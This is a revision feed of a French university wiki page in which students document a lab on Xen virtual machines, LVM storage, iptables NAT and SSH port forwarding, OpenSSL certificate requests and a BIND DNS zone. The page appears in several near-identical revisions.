@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11990</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11990"/>
		<updated>2026-02-02T08:06:23Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11520</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11520"/>
		<updated>2026-01-27T16:53:36Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
 IN      NS      ns.deadpool.tech.&lt;br /&gt;
 IN      NS      ns.dardervil.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fefa:18d0&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 127.0.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11517</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=11517"/>
		<updated>2026-01-27T16:35:50Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
